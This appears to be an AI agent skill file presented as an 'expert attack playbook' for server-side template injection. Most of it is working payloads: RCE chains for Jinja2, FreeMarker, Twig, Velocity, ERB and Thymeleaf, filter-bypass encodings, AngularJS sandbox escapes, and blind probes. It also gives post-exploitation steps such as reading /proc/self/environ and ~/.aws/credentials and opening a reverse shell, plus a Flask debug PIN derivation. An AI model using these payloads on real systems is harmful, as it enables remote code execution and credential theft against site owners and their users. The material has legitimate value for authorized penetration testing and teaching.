ssti-server-side-template-injection
SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion SCENARIOS.md.
0. RELATED ROUTING
Before using full engine-specific exploitation, you can first load:
- 先直接使用本文件开头的 polyglot probe sequence 做低噪声指纹判断
- expression-language-injection when
${7*7}or%{7*7}resolves in Java (SpEL/OGNL) — different attack surface from template engines
Extended Scenarios
Also load SCENARIOS.md when you need:
- Maccms 8.x PHP template
eval—{if-A:phpinfo()}{endif-A}invod-search, base64 bypass for webshell write - Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
- Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with
StreamUtils.copyToByteArrayfor output capture - Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with
_memberAccess/OgnlUtilblacklist clear - Confluence OGNL CVE-2021-26084 —
createpage-entervariables.actionwith\u0027unicode bypass - SSTI vs EL injection disambiguation guide
- Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
SCENARIOS.md reference (§7–§11): For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see SCENARIOS.md. This skill keeps a short checklist in §13–§15.
Engine Payloads Reference
For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see ENGINE_PAYLOADS.md.
Universal detection & blind SSTI (pointer)
Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow SCENARIOS.md §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).
1. DETECTION — POLYGLOT PROBE SEQUENCE
First test: distinguish SSTI from XSS. Send these probes and check if math is evaluated server-side:
{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7} → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})
Jinja2 vs Twig disambiguation:
{{7*'7'}}
→ 7777777 = Jinja2 (Python string multiplication)
→ 49 = Twig (PHP numeric)
Safe detection probe (no math, just boolean):
{{''.__class__}} → class 'str' = Python/Jinja2
2. ENGINE-TO-LANGUAGE MAPPING
| Template Engine | Language | Framework |
|---|---|---|
| Jinja2 | Python | Flask, FastAPI |
| Django Templates | Python | Django |
| Mako | Python | Pyramid |
| Twig | PHP | Symfony, Laravel |
| Smarty | PHP | Various |
| FreeMarker | Java | Spring MVC |
| Velocity | Java | Various Java |
| Pebble | Java | Various Java |
| Thymeleaf | Java | Spring Boot |
| ERB | Ruby | Rails |
| Slim / Haml | Ruby | Rails |
| Jade / Pug | Node.js | Express |
| Handlebars | Node.js | Express |
| Tornado | Python | Tornado |
Identifying language from errors → then narrow to template engine.
3. JINJA2 (PYTHON FLASK) — RCE CHAINS
Chain 1: os module via __globals__
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Chain 2: MRO subclass traversal (sandbox escape)
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list
# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}
Chain 3: request object globals (works when config blocked)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
(Uses hex encoding to avoid _ filtering)
Chain 4: lipsum function globals (Flask built-in)
{{lipsum.__globals__.os.popen('id').read()}}
Chain 5: cycler object
{{cycler.__init__.__globals__.os.popen('id').read()}}
Finding correct subprocess index dynamically:
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}
4. JINJA2 SANDBOX BYPASS TECHNIQUES
When _ (underscore) is blocked:
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')
# Use getattr via request object:
request|attr('args')|attr('__class__')
When . (dot) is blocked:
# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']
When keywords (class, mro) are blocked:
Use hex/unicode in attr():
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
When output encoding strips HTML entities:
Use |safe filter to prevent auto-escaping.
5. FREEMARKER (JAVA) — RCE
Execute Command via freemarker.template.utility.Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
Alternative via ObjectConstructor:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}
6. TWIG (PHP) — RCE
// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x using built-ins:
{{['id']|map('system')|join}}
// via filter map:
{{app.request.server.all|join(',')}}
7. VELOCITY (JAVA) — RCE
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)
Or more directly:
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))
8. ERB (RUBY RAILS) — RCE
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
9. THYMELEAF (JAVA SPRING) — RCE
Thymeleaf with Spring EL (SpEL):
// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type
10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)
When AngularJS is used client-side and user data flows into template expressions:
// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Detection: send {{1+1}} — if page shows 2, AngularJS evaluates expressions in the DOM.
11. SSTI → FULL RCE PATH
SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen()
│ OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()
Post-RCE pivot:
- Read
/proc/self/environ— env vars with credentials - Read application config files — DB passwords, API keys
cat ~/.aws/credentials— cloud credentials- Reverse shell for persistence
12. COMMON INJECTION ENTRY POINTS
Where user data enters templates:
- URL path:
https://site.com/home?name={{7*7}} - Query parameters:
?message=Hello - HTML forms: profile name, bio, content fields
- Error pages:
404 Not Found: /PAYLOAD - Email templates: name in password reset emails
- Inline template rendering:
render_template_string(user_input)
Most dangerous: render_template_string() in Flask — entire user input used as template.
13. UNIVERSAL DETECTION PAYLOADS
Polyglot probe that triggers errors or evaluation in many engines:
${{<%[%'"}}%\.
Mathematical probes for blind/error confirmation:
{{7*7}} → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7} → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %> → 49 (ERB, EJS, EEx)
#{7*7} → 49 (Pug, Ruby interpolation)
@(7*7) → 49 (Razor)
{7*7} → 49 (Smarty)
Error-based engine fingerprint (parser/stack traces often name the engine):
(1/0).zxy.zxy
14. BLIND SSTI TECHNIQUES
- Boolean-based: Compare
(3*4/2)vs3*)2(/4— if the first resolves and the second errors, evaluation is likely - Time-based:
{{sleep(5)}}or the engine-specific equivalent for delay - OOB: DNS/HTTP callback via template expressions when direct output is not visible
- Error-based: Force different error messages based on true/false conditions
15. FLASK PIN CALCULATION
When Flask debug mode (Werkzeug debugger) is exposed but PIN-protected, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:
username— from/etc/passwd(the user running the Flask process)- Module name — often
flask.apporFlask - Application path —
app.pyor the real main filename - MAC address — e.g.
/sys/class/net/eth0/address, converted to decimal as Werkzeug expects - Machine ID —
/etc/machine-id, or/proc/sys/kernel/random/boot_idcombined with the first line of/proc/self/cgroupper Werkzeug’s algorithm - Compute PIN — use established open-source PIN calculators that implement the same algorithm from these values
Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.